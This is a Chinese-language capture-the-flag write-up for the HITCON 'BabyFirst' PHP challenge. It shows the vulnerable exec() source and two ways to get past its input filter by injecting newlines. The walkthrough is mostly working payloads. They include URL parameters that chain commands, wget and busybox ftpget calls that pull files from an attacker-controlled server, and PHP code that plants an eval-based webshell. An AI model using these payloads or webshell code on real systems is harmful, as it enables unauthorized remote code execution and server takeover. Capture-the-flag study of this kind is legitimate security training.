HITCON babyfirst三部曲第一部QQ
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
echo $dir."\n";
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
简单解释下源码,一如既往的orange风格,第一步都是创建sandbox/ip/
的目录,然后切换至该目录。下面的代码比较关键,用ChatGPT翻译了下,就是限制我们的输入为数字+字母+下划线的格式,然后就会执行exec(),但它前面有个/bin/orange但不是/bin/bash,会干扰我们后续的命令,但这个好解决,换行符即可,所以我们的payload的最前面必须是?args[]=xxx%0a,这样才能绕,后面就是我们自由执行命令的时刻了。做法有两种,先介绍我复现成功的这种。
方法一:wget下载文件+php执行代码
wget下载文件很简单,就是说你wget url可以下载某个网站的index.html,这里我们也只能这么利用,因为限制了输入,不能有/了。还有个问题就是ip比如127.0.0.1这种格式是没法传的,用十进制转化一下即可。接下来就是这个php执行代码,简单来说就是用php命令就可以以php的格式执行某个非压缩的打包的PHP文件,这样就不用考虑后缀了,举个例子:
可以看到没有后缀的test文件都被以php格式解析了,所以我们的突破口应该就显而易见了,就是在那个可以直接通过wget url下载到的index.html里放恶意代码然后将它用tar打包一下,因为tar打包后就没后缀了,然后php执行即可。
#index.html
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print eval($_POST["cmd"]);
?>
');
然后把这个index.html放你vps上,自己本地试试能不能wget url直接下载到。
接下来直接按顺序输入payload即可,详细解释可以看这个师傅的:Babyfirst的分析和解答
url/?args[]=xxx%0a&args[]=mkdir&args[]=exploit #创建exploit文件夹
url/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=3232275969 #进入exploit文件夹,下载192.168.158.1的index.html文件
url/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit #将exploit文件夹打包为archived文件
url/?args[]=xxx%0a&args[]=php&args[]=archived #php解释执行archived文件
然后进入你题目沙箱的位置执行命令即可
方法二:利用busybox中的ftpget命令远程下载ftp服务器里的马
busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名
因此我们只要在自己的vps上搭建一个ftp服务器然后执行命令即可下载木马即可,比如你想下载192.168.158.1上的webshell.php,它ftp的账号密码都是123,用如下命令即可,当然ip还是要用之气那个十进制工具转化一下:
url/?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=%2du&args[]=123&args[]=%2dp&args[]=123&args[]=3232275969&args[]=webshell.php
偷懒的话可以直接用python3里的pyftpdlib模块起一个ftp服务器:
python3 -m pyftpdlib - p 21 -u 123 -P 123
这样就在该目录起了一个账号和密码都为123的ftp服务器,然后在这个ctf目录下放一个带一句话木马的webshell.php即可。但我在腾讯云上起的时候发现使用ftpget只能用ip+端口的形式才能连接,这样就没法用十进制转化了,而且连上去了也没法下载文件,过一会儿就断了,不知道是不是腾讯云的问题,我也没研究明白,不过这样应该是行的通的,毕竟是预期解,具体可以参考这位师傅的:2015 HITCON BabyFirst-复现